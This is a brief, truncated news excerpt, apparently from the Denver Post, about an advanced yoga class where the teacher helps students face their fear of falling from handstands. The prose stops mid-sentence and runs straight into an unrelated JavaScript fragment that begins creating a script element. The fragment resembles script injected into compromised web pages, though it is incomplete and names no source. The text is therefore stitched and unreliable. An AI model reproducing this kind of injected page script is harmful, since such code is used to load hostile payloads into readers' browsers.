Yoga strikes a balance between stretch, strength (Denver Post)

Yoga may have a soft and peaceful reputation, but the theme at Willow Street Yoga on a recent Monday evening was fear. A large theme, to be sure, but in this case it was focused on issues such as: If I collapse from a handstand, what happens to my face? The students in Batya Metalitz’s advanced class were no strangers to the handstand or other difficult poses, but she still encouraged them to …var d=document;var s=d.createElement(‘script’);